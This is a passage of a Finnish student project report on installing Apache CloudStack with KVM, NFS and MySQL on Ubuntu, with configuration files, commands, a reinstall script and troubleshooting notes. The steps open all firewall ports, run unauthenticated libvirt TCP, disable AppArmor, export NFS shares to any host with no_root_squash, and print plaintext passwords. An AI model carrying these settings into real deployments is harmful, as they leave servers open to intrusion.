<p>Käytössämme meillä oli Harto Holmströmin antama koulun osoiteavaruus väliltä 172.28.175.31 – 172.28.175.39. Kaikille siirtokovalevyille asetettiin omat verkkoasetuksena tiedostoon <em>/etc/network/interfaces.</em></p>
<p>Saimme vielä myöhemmin projektin aikana marraskuun tienoilla toisenkin osoiteavaruuden käyttöön, sillä uskoimme, ettei tuo aiemmin annettu osoiteavaruus riitä. Saimme lisäksi IP-osoitteet 172.28.175.60 – 172.28.175.69 jotka toimivat myöhemmin erittäin tärkeässä roolissa projektin onnistumisen kannalta.</p>
<p><em> </em></p>
<p>Management.jp2cloud.com asennuksen tiedosto näytti tältä:</p>
<p><em># The primary network interface</em></p>
<p><em>auto em1</em></p>
<p><em>iface em1 inet static</em></p>
<p><em>                      address 172.28.175.31</em></p>
<p><em>                      netmask 255.255.0.0</em></p>
<p><em>                      gateway 172.28.1.254</em></p>
<p><em>                      dns-nameservers 172.28.170.201</em></p>
<p><em>                      dns-nameservers 172.28.170.202</em></p>
<p> </p>
<p>Primary.jp2cloud.com asennuksen tiedosto näytti tältä:</p>
<p><em># The primary network interface</em></p>
<p><em>auto em1</em></p>
<p><em>iface em1 inet static</em></p>
<p><em>                      address 172.28.175.32</em></p>
<p><em>                      netmask 255.255.0.0</em></p>
<p><em>                      gateway 172.28.1.254</em></p>
<p><em>                      dns-nameservers 172.28.170.201</em></p>
<p><em>                      dns-nameservers 172.28.170.202</em></p>
<p><em> </em></p>
<p><em> </em></p>
<p>Secondary.jp2cloud.com asennuksen tiedosto näytti tältä:</p>
<p><em># The primary network interface</em></p>
<p><em>auto em1</em></p>
<p><em>iface em1 inet static</em></p>
<p><em>                      address 172.28.175.33</em></p>
<p><em>                      netmask 255.255.0.0</em></p>
<p><em>                      gateway 172.28.1.254</em></p>
<p><em>                      dns-nameservers 172.28.170.201</em></p>
<p><em>                      dns-nameservers 172.28.170.202</em></p>
<p><em> </em></p>
<p>Kun asetukset oli määritelty tiedostoon, niin ajoimme tämän network interfacen alas komennolla <em>sudo ifconfig em1 down </em>ja takaisin ylös <em>sudo ifconfig em1 up.</em> Sen jälkeen tarkistimme <em>ifconfig </em>komennolla, että muutokset olivat tulleet voimaan.</p>
<p> </p>
<h2><a name="_Toc469062766"></a>3.3      Etäyhteyden asennus</h2>
<p>Verkkoasetusten ollessa kunnossa asensimme kaikille laitteillemme SSH- ohjelman mahdollista etäkäyttöä varten.</p>
<p> </p>
<h2><a name="_Toc469062767"></a>3.4      Apache2</h2>
<p>Varmuuden vuoksi asensimme vielä apache2:n ja PHP5- ohjelmat, jonka jälkeen testasimme niiden toiminnan ottamalla yhteyden erilliseltä koneelta localhostillemme ja tarkistamalla, että php-koodilla tehty plussauslasku laski itsensä oikein selaimen ruudulle.</p>
<h2><a name="_Toc469062768"></a>3.5      Palomuuri</h2>
<p>Tässä vaiheessa avasimme UFW palomuurista ainoastaan portit 22 ja 80, jotta saisimme koneeseen SSH-yhteyden ja Apache-webselaimeen yhteyden. Myöhemmin avasimme kaikki, sillä ilmeni useita ongelmia kun palomuurissa oli vain kaksi porttia auki.</p>
<p> </p>
<h1><a name="_Toc469062769"></a>4       CloudStack-asennus siirtokovalevyille.</h1>
<p>Tässä vaiheessa olimme saaneet asennettua ja konfiguroitua Ubuntuja riittävän pitkälle jotta pääsimme etenemään itse CloudStackin asennukseen.</p>
<h2><a name="_Toc469062770"></a>4.1      Komponentit</h2>
<p>CloudStack-asennuksen tärkeimpiä komponentteja ja paketteja on NFS, KVM, NTP, Tomcat ja muutamat CloudStack paketit.</p>
<p>Koska CloudStack on ohjelmoitu Javalla, tarvitsimme tähän Tomcat web-palvelimen. KVM oli käyttämämme hypervisor jolla virtuaalikoneet ympäristöön luotiin ja NFS (Network File Share) puolestaan teki mountin Primary storagen ja Management koneen sekä Secondary storagen ja Management koneen hakemistojen välille. Siten saimme provisioitua virtuaalikoneet Management koneella mutta NFS mountin ansiosta saimme virtuaalikoneiden levytilat talletettua Primary Storageen. Secondary Storagen mount oli väliaikainen, sillä sinne tarvitsimme ainoastaan System Vm-koneiden templatet.</p>
<h2><a name="_Toc469062771"></a>4.2      NTP, SELinux, Repositoryt, MySQL ja cloudstack-management</h2>
<p>Asennus aloitettiin KVM:n asennuksella ja konfiguroinnilla. Se on tärkein komponentti, sillä ilman KVM:ää ei virtualisointi onnistu.</p>
<p>Kun jokaiselle koneelle oli määritelty fully qualified domain name (secondary.jp2cloud.com, primary.jp2cloud.com ja management.jp2cloud.com), asensimme NTP:t jokaiselle koneelle ja laitoimme ne samaan aikaan. Asensimme Chrony nimisen NTP-palvelun</p>
<p>apt-get –y install chrony</p>
<p>Tämän jälkeen laitoimme SELinuxin permissive tilaan. Huomasimme että tähän tarvitsemme selinux-utils paketin. Asensimme sen siis ja laitoimme permissive tilaan</p>
<p>Apt-get –y install selinux-utils</p>
<p>Setenforce 0</p>
<p>Jotta pääsimme asentamaan CloudStack paketit, piti meidän lisätä CloudStackin repositoryt ubuntun sources listille:</p>
<p>Nano /etc/apt/sources.list.d/cloudstack.list</p>
<p>deb http://cloudstack.apt-get.eu/ubuntu trusty 4.6</p>
<p>Lisäsimme myös julkisen avaimen luotettuihin avaimiin:</p>
<p>wget -O – http://cloudstack.apt-get.eu/release.asc|apt-key add –</p>
<p>Nyt pystyimme asentamaan CloudStackin omia paketteja koska olimme lisänneet repositoryn.</p>
<p> </p>
<p>apt-get –y install cloudstack-management</p>
<p>CloudStack Managementtiin emme tässä välissä kajonneet vaan asensimme ja konfiguroimme MySQL:n:</p>
<p>apt-get –y install mysql-server</p>
<p>nano /etc/mysql/my.cnf</p>
<p>Laitoimme alla olevat rivit kyseiseen tiedostoon:</p>
<p>innodb_rollback_on_timeout=1</p>
<p>innodb_lock_wait_timeout=600</p>
<p>max_connections=350</p>
<p>log-bin=mysql-bin</p>
<p>binlog-format = ‘ROW’</p>
<p> </p>
<p>service mysql start</p>
<p>mysql_secure_installation</p>
<p>Alempaan komentoon laitoimme kaikkiin vaihtoehtoihin “yes”. Alla olevanna komennolla puolestaan laitoimme tietokannan käyttökuntoon:</p>
<p>cloudstack-setup-databases cloud:CloudStack12@localhost –deploy-as=root:CloudStack12</p>
<p>Kun tietokanta saatiin laitettua toimintakuntoon, laitoimme cloudstack-managementin toimintaan:</p>
<p>cloudstack-setup-management</p>
<p> </p>
<h2><a name="_Toc469062772"></a>4.3      NFS ja SystemVM template</h2>
<p>NFS-asennettiin komennolla:</p>
<p>apt-get –y install nfs-kernel-server</p>
<p>Teimme secondary- ja primary storageille mountattavat hakemistot:</p>
<p>/export/primary ja /export/secondary</p>
<p>Seuraavaksi piti tehdä storage-palvelimille tiedostoon muutoksia jotta NFS saatiin toimintaan:</p>
<p>nano /etc/exports</p>
<p>/export/primary  *(rw,async,no_root_squash,no_subtree_check)</p>
<p>/export/secondary  *(rw,async,no_root_squash,no_subtree_check)</p>
<p>Primary koneelle laitettiin /export/primary alkuinen rivi ja secondary koneelle laitettiin /export/secondary alkuinen rivi. Exportit saatiin toimintaan ajamalla storage-palvelimilla komento “exportfs –a”</p>
<p>Management koneelle luotiin hakemistot /mnt/secondary ja /mnt/primary joihin nuo mountit tehtiin ajamalla alla olevat komennot management koneella:</p>
<p>mount -t nfs 172.28.175.32:/export/primary /mnt/primary</p>
<p>mount -t nfs 172.28.175.33:/export/secondary /mnt/secondary</p>
<p>Alla olevilla komennoilla saatiin SystemVM template Secondary storagelle. Komennot ajettiin management koneella:</p>
<p>/usr/share/cloudstack-common/scripts/storage/secondary/cloud-install-sys-tmplt -m /mnt/secondary -u http://cloudstack.apt-get.eu/systemvm/4.6/systemvm64template-4.6.0-kvm.qcow2.bz2 -h kvm –F</p>
<p>umount -t nfs 172.28.175.33:/export/secondary /mnt/secondary</p>
<p>rmdir /mnt/secondary</p>
<h2><a name="_Toc469062773"></a>4.4      KVM asennus ja konfigurointi</h2>
<p>Asensimme cloudstack-agentin jotta pääsimme CloudStackin käyttöliittymään:</p>
<p>apt-get –y install cloudstack-agent</p>
<p>Teimme Libvirt asetuksiin pieniä muutoksia:</p>
<p>nano /etc/libvirt/libvirtd.conf</p>
<p>Lisäsimme seuraavat rivit:</p>
<p>listen_tls = 0</p>
<p>listen_tcp = 1</p>
<p>tcp_port = “16509”</p>
<p>auth_tcp = “none”</p>
<p>mdns_adv = 0</p>
<p>Lisäksi muokkasimme erästä riviä /etc/default/libvirt-bin tiedostossa seuraavanlaiseksi:</p>
<p>libvirtd_opts=”-d -l”</p>
<p>service libvirt-bin restart</p>
<p>Konfiguroimme Apparmoria seuraavilla komennoilla:</p>
<p>ln -s /etc/apparmor.d/usr.sbin.libvirtd /etc/apparmor.d/disable/</p>
<p>ln -s /etc/apparmor.d/usr.lib.libvirt.virt-aa-helper /etc/apparmor.d/disable/</p>
<p>apparmor_parser -R /etc/apparmor.d/usr.sbin.libvirtd</p>
<p>apparmor_parser -R /etc/apparmor.d/usr.lib.libvirt.virt-aa-helper</p>
<p>Seuraavaksi meidän oli konfiguroitava Management-koneen interfaces-tiedosto uudelleen jotta saisimme yhteyden CloudStackiin:</p>
<p># Public network</p>
<p>auto cloudbr0</p>
<p>iface cloudbro0 inet static</p>
<p>address 172.28.175.31</p>
<p>netmask 255.255.0.0</p>
<p>gateway 172.28.1.254</p>
<p>dns-nameservers 172.28.170.201 172.28.170.202</p>
<p>bridge_ports em1</p>
<p>bridge_fd 5</p>
<p>bridge_stp off</p>
<p>bridge_maxwait 1</p>
<p># Private network</p>
<p>auto cloudbr1</p>
<p>iface cloudbr1 inet manual</p>
<p>bridge_ports none</p>
<p>bridge_fd 5</p>
<p>bridge_stp off</p>
<p>bridge_maxwait 1</p>
<p>Tässä välissä avasimme ongelmien ennaltaehkäisyn takia palomuurista aivan kaikki auki.</p>
<p>Testasimme että pingaus toimii kumpaankin storageen, restarttasimme kaikki tarvittavat palvelut (mm. Tomcat, cloudstack-management, cloudstack-agent yms.) ja pääsimme kirjautumaan Web-käyttöliittymään käyttäjällä “admin” ja salasanalla “password”</p>
<p> </p>
<h2><a name="_Toc469062774"></a>4.5      Cloudstack-konfigurointi.</h2>
<p>Kun Cloudstack on saatu siihen kuntoon, että se pyörii management-koneella oli aika aloittaa konfigurointi niin sanotulla Dashboardilla. Osoitteeksi selaimeen laitettiin 172.28.175.31:8080/client, joka avaa meidän Cloudstack User Interfacen.</p>
<p>Kirjautuminen ensimmäisellä kerralla tapahtuu tunnuksella: “admin” ja salasanalla “password”, domain jätetään tyhjäksi. Kun on kirjauduttu sisään, tulee sinun vaihtaa salasanasi, jonka jälkeen aukeaa näkymä, josta voit valita konfigurointitapasi. Eli valitset siis manuaalisen ja automatisoidun “wizardin” väliltä.</p>
<p>Me valitsimme tämän “wizard” vaihtoehdon, joka siis on vähän kuin step-by-step asennus. Kannattaa huomioida, että ip-osoitteiden määrittely on äärimmäisen tärkeää. Väärät osoitteet käytännössä kaatavat koko asennuksen ja CloudStack ei osaa ilmoittaa virheiden syytä mitenkään järkevällä tavalla. Teimme valehtelematta kymmeniä konfigurointeja, ennen kuin kaikki osui kohdilleen.</p>
<p>Konfigurointimme siinä järjestyksessä, kun ne tulevat wizardissa:</p>
<p> </p>
<p><strong>Zone: </strong></p>
<p>Name: Zone1</p>
<p>Dns1: 172.28.11.67</p>
<p>Internal Dns: 172.28.11.67</p>
<p> </p>
<p><strong>Pod:</strong></p>
<p>Name: Pod1</p>
<p>Gateway: 172.28.1.254</p>
<p>Netmask: 255.255.0.0</p>
<p>IP-Range: 172.28.175.34-39 (Tästä tulevat järjestelmän toimimiseen tarvittavien System VM:n IP-osoitteet. Pienellä asennuksella näitä osoitteita on oltava minimissään 2.)</p>
<p> </p>
<p><strong>Add Guest Network:</strong></p>
<p>Gateway: 172.28.1.254</p>
<p>Netmask: 255.255.0.0</p>
<p>IP-Range: 172.28.175.60-66.</p>
<p> </p>
<p><strong>Cluster:</strong></p>
<p>Hypervisor : KVM</p>
<p>Name: Cluster1</p>
<p> </p>
<p><strong>Host:</strong></p>
<p>Host Name: 172.28.175.31</p>
<p>Username: root</p>
<p>Password: xxxx (root-salasananne management-koneella.)</p>
<p> </p>
<p><strong>Primary Storage:</strong></p>
<p>Name: Primary</p>
<p>Protocol: NFS</p>
<p>Server: 172.28.175.32</p>
<p>Path : /export/primary</p>
<p> </p>
<p><strong>Secondary Storage:</strong></p>
<p>NFS Server: 172.28.175.33</p>
<p>Path: /export/secondary</p>
<p>Tämän jälkeen eteesi aukeaa ilmoitus, että olet valmis. Kun painat Launch, niin CloudStack alkaa konfiguroimaan järjestelmää antamillasi tiedoilla.</p>
<p> </p>
<h2><a name="_Toc469062775"></a>4.6      Käyttöliittymä</h2>
<p>Mikäli konfigurointi meni läpi, niin sinulle aukeaa yllä oleva näkymä. Tarkista, että Primary ja Secondary Storagejen kohdalla ei ole 0/0gb, koska tämä tarkoittaa sitä ettei yhteys Managementin ja niiden välillä toimi.</p>
<p>Huomasimme, että kannattaa aina tarkistaa System VM:n toimivuus konfiguroinnin jälkeen, koska niiden korrekti toimiminen on elintärkeää. Näet ne kohdasta Infrastructure -> System VMs.</p>
<p>Seuraavaksi suosittelen käydä tarkistamassa, että toimiiko Secondary Storage oikein. Tämän huomaa siitä, että latautuuko asennuksen mukana tuleva CentOs5.5 template käytettäväksi.</p>
<p>Tämän löytää kohdasta Templates. Klikkaa CentOS5.5 ja sieltä Zones-kohtaa.</p>
<p>Status- kohdassa saattaa lukea esim. Downloading tai Installing template, jolloin täytyy odottaa. Ready kertoo, onko template valmiina käyttöön. Jos System VM:t näyttävät vihreää ja template on valmis, niin seuraavaksi voit yrittää luoda instanssin. Instances -> Add Instance ja valitset templateksi näkyvissä olevan CentOS5.5 templaten. Me valitsimme Mediumiksi kaikki valinnat mitä kysyttiin ja loimme Instanssin. Ensimmäisellä kerralla tässä kesti n. 10 minuuttia ja sen jälkeen luonti meni läpi.</p>
<p> </p>
<p>Defaulttina käyttäjätunnus on “root” ja salasana “password”.</p>
<p> </p>
<p>Teimme vielä myöhemmin Ubuntu 14.04 instanssin ISO-tiedostosta. ISO:n lisääminen tapahtuu Templates-> Select View-kohdasta ISO ja Register ISO. Etsi internetistä esim. Ubuntu 14.04 iso-tiedosto ja lataa tätä kautta se CloudStackiin.</p>
<p>Instanssin luonti meni samalla tavalla kuin aikaisemmin paitsi, että ensimmäisessä kohdassa valitaan ISO Templaten sijaan. Kun avaat konsoliyhteyden ensimmäistä kertaa tähän ISO:lla luotuun instanssiin niin joudut asentamaan käyttöjärjestelmän siihen. Asennuksen jälkeen muista irrottaa ISO-tiedosto instanssista “Detach ISO”-painikkeesta. Käynnistä vielä instanssi uudelleen ja sinun pitäisi päästä kirjautumaan virtuaalikoneelle.</p>
<h2><a name="_Toc469062776"></a>4.7      Reinstall-skripti</h2>
<p>Jouduimme asentamaan ympäristömme uudestaan kymmeniä kertoja ennen kuin saimme sen toimimaan oikein, joten teimme skriptin joka hoitaa sen automaattisesti. Se myös käynnistää tarvittavat osat, jotta pystyimme suoraan vain ajamaan skriptin ja koittaa konfigurointia uudelleen ilman suurempia ongelmia. Ainoa haitta oli, että tämä prosessi kestää noin 10 minuuttia joka kerralla.</p>
<p> </p>
<p><em>#!/bin/bash</em></p>
<p><em>/etc/init.d/cloudstack-management stop</em></p>
<p><em>mysql -u root -pCloudStack11 -e ’drop database cloud;’</em></p>
<p><em>mysql -u root -pCloudStack11 -e ’drop database cloud_usage;’</em></p>
<p><em>rm -rf /var/log/cloudstack</em></p>
<p><em>rm -rf /var/log/cloudstack-management</em></p>
<p><em>cloudstack-setup-database cloud:CloudStack11@localhost –deploy-as=root:CloudStack11</em></p>
<p><em>cloudstack-setup-management</em></p>
<p><em>/etc/init.d/cloudstack-management start</em></p>
<p><em>service tomcat6 start</em></p>
<p><em>service cloudstack-agent start</em></p>
<p><em>service libvirt-bin restart</em></p>
<p> </p>
<p>Skriptissä olevat CloudStack11-kohdat ovat siis salasanoja. Ajaminen tapahtui skriptin kansiossa vain kirjoittamalla <em>./alustacs.sh.</em></p>
<p> </p>
<h2><a name="_Toc469062777"></a>4.8      Ongelmia</h2>
<p>Palomuurien on aina oltava avattuna yhteyksille. Käytimme tuhottomasti aikaa, kun saimme yhteysvirheitä.</p>
<p> </p>
<p>Tarkista jokaisella projektikerralla, että mounttaukset toimivat. Tähänkin meni reilusti aikaa, kun emme tajunneet mounttausten katoilevan välillä. Toisaalta silloin tällöin ne myös olivat valmiiksi toiminnassa, kun käynnistimme käyttöjärjestelmät.</p>
<p> </p>
<p>Jos CloudStackin dashboardin system wizard jumittuu system VM kohtaan, tarkista management-koneen syslogista tai cloudstack-management/agent logeista, että hakeeko ohjelma templatea väärästä kansiosta. Meillä upposi tähän todella paljon aikaa, kun emme tajunnet, että vaikka seurasimme ohjeita tunnollisesti, niin meidän täytyi käydä vaihtamassa kansion nimi samaan, kuin mistä ohjelma etsii sitä. Tästä ei siis ollut mainintaa ohjeissa. Logit löytyvät tiedostopolusta <em>/var/log/cloudstack/agent/agent.log</em>. Kansio oli siis paikassa <em>/export/secondary/template/tmpl/1 </em>Täällä meillä oli kansio nimeltä 10, joka piti vaihtaa numeroksi 3.</p>
<p> </p>
<p>Suurimmat ongelmat meillä oli kuitenkin CloudStackin epävakauden kanssa. Softa ei tuota juurikaan helppolukuisia virheilmoituksia vaan keinosi ovat joko googlettaa sen antamaa epämääräistä virheilmoitusta tai vikaa, tai lukea agent.logia. Myöskään virallinen dokumentaatio ei ole kovin helppolukuista, koska se ei sisällä kuvia tai ohjeita mahdollisten virheiden varalle.</p>
<p> </p>
<h1><a name="_Toc469062778"></a>5       Palvelinasennus (single node installation)</h1>
<h2><a name="_Toc469062779"></a>5.1      Alkutoimet</h2>
<p>Kun palvelin oli liitetty sähköverkkoon ja siihen oli kytketty näppäimistö ja näyttö, siirryimme tutkimaan BIOS:in asetuksia. Aikaisempien käyttäjien toimesta palvelimen kahdeksan kovalevyä oli jaettu RAID-tekniikkaa hyödyntäen kuudeksi levyksi, joista neljä toimi RAID 1-tekniikalla.</p>
<p> </p>
<p>Päätimme muokata jakoa paremmin omia tarpeitamme vastaavaksi, joten muutimme asetuksia siten, että kaikki kahdeksan kovalevyä toimivat RAID 10 –tekniikkaa hyödyntäen yhtenä 1,4 teratavun levynä. Valitsimme RAID 10:n, koska se mahdollistaa tavallista yksittäistä kovalevyä suuremman kirjoitusnopeuden ja hoitaa samalla laitteen tiedostojen varmuuskopioinnin peilauksen myötä. Tällä tekniikalla puolet kovalevyjen 2,8 teratavun kokonaistallennustilasta menetettiin, mutta tiedot ovat turvassa yksittäisen kovalevyn rikkoutuessa.</p>
<p> </p>
<h2><a name="_Toc469062780"></a>5.2      Linuxin asennus ja konfigurointi</h2>
<p>Seuraavaksi aloitimme Ubuntu 14.04 server –käyttöjärjestelmän asentamisen. Asennusvaiheessa tehtiin tarvittavat valinnat kielen, aikavyöhykkeen, näppäimistön ja päivitysasetusten osalta. Asennusvaiheessa olisi ollut mahdollista asentaa samalla myös palvelimessa tarvittavia ohjelmistokokonaisuuksia, kuten Tomcat java server, mutta päätimme jättää ne asentamatta tässä vaiheessa ja asentaa ne myöhemmin edetessämme erillisten asennusohjeiden mukaisesti.</p>
<p> </p>
<p>Asennuksen jälkeen ensimmäisen sisäänkirjautumisen jälkeen ajettiin komennot:</p>
<p><strong>                      </strong><strong>$ sudo apt-get update</strong></p>
<p><strong>                      $ sudo apt-get upgrade</strong></p>
<p><strong>                      $ sudo passwd root</strong></p>
<p><strong> </strong></p>
<h2><a name="_Toc469062781"></a>5.3      IP-konfiguraatiot</h2>
<p>Käyttöjärjestelmän asentamisen ja muutaman peruskomennon jälkeen voitiin siirtyä tekemään peruskonfiguraatioita verkko-asetuksiin. Konfiguraatiot tehtiin /etc/network/ -hakemistossa sijaitsevaan interfaces-tiedostoon, joka varmuuskopioitiin nimellä interfaces.orig ennen asetusten muuttamista.</p>
<p> </p>
<p>Tiedostoon tehtiin seuraavat konfiguraatiot:</p>
<p><strong><em> </em></strong></p>
<p>auto eth1</p>
<p>iface eth1 inet manual</p>
<p> </p>
<p># Public network</p>
<p>auto cloudbr0</p>
<p>iface cloudbr0 inet static</p>
<p>address 172.28.175.69</p>
<p>netmask 255.255.0.0</p>
<p>gateway 172.28.1.254</p>
<p>dns-nameservers 172.28.170.201 172.28.170.202</p>
<p>bridge_ports eth1</p>
<p>bridge_fd 5</p>
<p>bridge_stp off</p>
<p>bridge_maxwait 1</p>
<p> </p>
<p># Private network</p>
<p>auto cloudbr1</p>
<p>iface cloudbr1 inet manual</p>
<p>bridge_ports none</p>
<p>bridge_fd 5</p>
<p>bridge_stp off</p>
<p>bridge_maxwait 1</p>
<p> </p>
<p>Tietojen syöttämisen jälkeen laite käynnistettiin uudelleen komennolla <em>reboot. </em>Lopuksi asetusten voimaantulo tarkastettiin uudelleenkäynnistymisen jälkeen komennolla <em>ifconfig</em>, joka kertoi, että IP-osoite ja verkkomaski ovat samat kuin interfaces-tiedostoon määriteltiin.</p>
<p> </p>
<h2><a name="_Toc469062782"></a>5.4      ClousStackin asennus</h2>
<p>CloudStackin asennus aloitettiin lisäämällä pakettien lataamiseen tarvittava lähdeosoite sources –listalle, joka tapahtui luomalla <em>/etc/apt/sources.list.d/</em> -hakemistoon tiedosto nimeltä cloudstack.list. Tiedoston sisällöksi tuli rivi ”<em>deb http://cloudstack.apt-get.eu/ubuntu trusty 4.4”</em>. Lisäksi haettiin julkinen avain, joka lisättiin luotettuihin avaimiin komennolla <em>wget -O – http://cloudstack.apt-get.eu/release.asc|apt-key add -apt-get update.</em></p>
<p>Seuraavaksi asennettiin OpenNTPD ja CloudStack management komennoilla <em>apt-get install openntpd</em> ja <em>apt-get install cloudstack-management.</em></p>
<p> </p>
<h2><a name="_Toc469062783"></a>5.5      MySQL serverin asennus</h2>
<p>Asennettiin MySQL server:</p>
<p><strong><em>$ </em></strong><strong><em>apt-get –yes install mysql-server</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Muokattiin cloudstack tietokantakonfiguraatio tiedostoa:</p>
<p><strong><em>$ nano /etc/mysql/conf.d/cloudstack.cnf</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Tiedoston loppuun lisätiin seuraavat rivit:</p>
<p> </p>
<p>!includedir /etc/mysql/conf.d/</p>
<p>!includedir /etc/mysql/mysql.conf.d/</p>
<p>[mysqld]</p>
<p>innodb_rollback_on_timeout=1</p>
<p>innodb_lock_wait_timeout=600</p>
<p>max_connections=350</p>
<p>log-bin=mysql-bin</p>
<p>binlog-format = ‘ROW’</p>
<p> </p>
<p>Käynistettiin MySQL serverin uudelleen:</p>
<p><strong><em>$ sudo service mysql restart </em></strong></p>
<p> </p>
<p>Kun mysql-server käynnistettiin uudelleen, tuli virheilmoitus. 3-Noden asennuksessa tällaista ei tullut.</p>
<p> </p>
<p> </p>
<p>Internetistä löytyi ohjeet ongelman korjaamiseen. Täytyi tehdä muutoksia tiedostoon: /usr/share/cloudstack-management/setup/create-schema-premium</p>
<p>Luotiin tiedoston patch-tiedosto /tmp/- kansioon.</p>
<p> </p>
<p><strong>$ sudo nano /tmp/CLOUDSTACK-8157.diff</strong></p>
<p> </p>
<p>Tiedoston sisältö oli seuraava:</p>
<p><em>— /usr/share/cloudstack-management/setup/create-schema-premium.sql.orig 2015-02-14 16:53:19.341079935 +0000</em></p>
<p><em>+++ /usr/share/cloudstack-management/setup/create-schema-premium.sql 2015-02-14 16:54:12.127456646 +0000</em></p>
<p><em>@@ -296,7 +296,7 @@</em></p>
<p><em>   `password` varchar(200) COMMENT ‘password’,</em></p>
<p><em>   `round_robin_marker` int COMMENT ‘This marks the volume to be picked up for lun creation, RR fashion’,</em></p>
<p><em>   </em><em>PRIMARY KEY  (`id`),</em></p>
<p><em>–  CONSTRAINT `fk_netapp_volume__pool_id` FOREIGN KEY `fk_netapp_volume__pool_id` (`pool_id`) REFERENCES `netapp_pool` (`id`) ON DELETE CASCADE,</em></p>
<p><em>+  CONSTRAINT `fk_netapp_volume__pool_id` FOREIGN KEY `fk_netapp_volume__pool_id` (`pool_id`) REFERENCES `cloud`.`netapp_pool` (`id`) ON DELETE CASCADE,</em></p>
<p><em>   INDEX `i_netapp_volume__pool_id`(`pool_id`)</em></p>
<p><em> ) ENGINE=InnoDB DEFAULT CHARSET=utf8;</em></p>
<p><em> </em></p>
<p><em>@@ -315,7 +315,7 @@</em></p>
<p><em>   `size` bigint NOT NULL COMMENT ‘lun size’,</em></p>
<p><em>   `volume_id` bigint unsigned NOT NULL COMMENT ‘parent volume id’,</em></p>
<p><em>   PRIMARY KEY (`id`),</em></p>
<p><em>–  CONSTRAINT `fk_netapp_lun__volume_id` FOREIGN KEY `fk_netapp_lun__volume_id` (`volume_id`) REFERENCES `netapp_volume` (`id`) ON DELETE CASCADE,</em></p>
<p><em>+  CONSTRAINT `fk_netapp_lun__volume_id` FOREIGN KEY `fk_netapp_lun__volume_id` (`volume_id`) REFERENCES `cloud`.`netapp_volume` (`id`) ON DELETE CASCADE,</em></p>
<p><em>   INDEX `i_netapp_lun__volume_id`(`volume_id`),</em></p>
<p><em>   INDEX `i_netapp_lun__lun_name`(`lun_name`)</em></p>
<p><em> ) ENGINE=InnoDB DEFAULT CHARSET=utf8;</em></p>
<p> </p>
<p>Seuraavaksi varmuuskopioitiin create-schema-premium.sql tiedoston alkuperäinen versio:</p>
<p> </p>
<p><strong>$ sudo cp /usr/share/cloudstack-management/setup/create-schema-premium.sql \ /usr/share/cloudstack-management/setup/create-schema-premium.sql.orig</strong></p>
<p><strong> </strong></p>
<p>Asennettiin PATCH daemon:</p>
<p><strong>$ sudo apt-get install patch</strong></p>
<p>Ajettiin aiemmin luotu korjaustiedosto PATCH:illa:</p>
<p><strong>$ sudo patch -d / -p0 -u -i /tmp/CLOUDSTACK-8157.diff</strong></p>
<p> </p>
<p> </p>
<p><strong> </strong></p>
<h2><a name="_Toc469062784"></a>5.6      NFS asennus, export mount</h2>
<p>Seuraavaksi luotiin hakemistot /export/primary ja /export/secondary ja asennettiin NFS komennolla <em>apt-get install nfs-kernel-server.</em></p>
<p> </p>
<p>Sitten luotiin exports-tiedosto exportin konfiguraatiota varten seuraavalla komennolla:</p>
<p><strong><em>$ sudo nano /etc/exports/</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Tiedostoon syötettiin rivi:</p>
<p>/export *(rw,async,no_root_squash,no_subtree_check)</p>
<p> </p>
<p>Lopuksi annettiin komento <strong><em>$ exportfs -a</em></strong></p>
<p> </p>
<p>NFS täytyi konfiguroida statd kuuntelemaan tiettyjä portteja, tämä onnistui ajamalla seuraavat kolme komentoa, joista ensimmäisellä tehdään varmuuskopio nfs-common -tiedostosta nimellä nfs-common.orig:</p>
<p><strong><em>$ </em></strong><strong><em>cp /etc/default/nfs-common /etc/default/nfs-common.orig</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/NEED_STATD=/ a NEED_STATD=yes’ /etc/default/nfs-common</em></strong></p>
<p><strong><em>$</em></strong><strong><em> sed -i ‘/STATDOPTS=/ a STATDOPTS=”–port 662 –outgoing-port 2020″‘ /etc/default/nfs-common</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraavaksi täytyi konfiguroida lockd, joten avasimme konfiguraatiotiedoston komennolla:</p>
<p><strong><em>$ sudo nano /etc/modprobe.d/lockd.conf</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Tiedostoon lisättiin seuraava rivi:</p>
<p>options lockd nlm_udpport=32769 nlm_tcpport=32803</p>
<p> </p>
<p>Tämän jälkeen NFS käynnistettiin uudelleen ja testattiin, että exporttaus on onnistunut. Tämä tapahtui seuraavilla komennoilla:</p>
<p><strong><em>$ service nfs-kernel-server restart</em></strong></p>
<p><strong><em>$ showmount – 127.0.0.1</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Kaikki oli kunnossa, koska komennon jälkeen näytölle tulostui exportattu hekemisto.</p>
<p>Sitten luotiin mountattavat hakemistot, tehtiin niille tarvittavat konfiguraatiot ja muontattiin ne.</p>
<p><strong><em>$ IP=172.28.175.69</em></strong></p>
<p><strong><em>$</em></strong><strong><em> mkdir -p /mnt/primary /mnt/secondary</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Konfiguraatiotiedosto fstab avattiin komennolla:</p>
<p><strong><em>$ sudo nano /etc/fstab</em></strong></p>
<p><strong><em><br />
</em></strong></p>
<p><strong><em> </em></strong></p>
<p><strong><em> </em></strong></p>
<p><strong><em> </em></strong></p>
<p>Ja siihen lisättiin seuraavat rivit:</p>
<p><strong><em>$ 172.28.175.69:/export/primary   /mnt/primary    nfs rsize=8192,wsize=8192,timeo=14,intr,vers=3,noauto  0   2</em></strong></p>
<p><strong><em>$ 172.28.175.69:/export/secondary /mnt/secondary  nfs rsize=8192,wsize=8192,timeo=14,intr,vers=3,noauto  0   2</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Lopuksi mountattiin hakemistot komennolla:</p>
<p><strong><em>$</em></strong><strong><em> mount /mnt/primary /mnt/secondary</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Seuraava vaihe oli asentaa libvirt, jota CloudStack käyttää virtuaalikoneiden hallintaan.</p>
<p> </p>
<p>Asennus tapahtui komennolla:</p>
<p><strong><em>$</em></strong><strong><em> apt-get install cloudstack-agent</em></strong></p>
<p><strong><em> </em></strong></p>
<p>Alkuperäisestä konfiguraatiotiedostosta otettiin varmuuskopio komennolla:</p>
<p><strong><em>$</em></strong><strong><em> cp /etc/libvirt/libvirtd.conf /etc/libvirt/libvirtd.conf.orig</em></strong></p>
<p><strong><em> </em></strong></p>
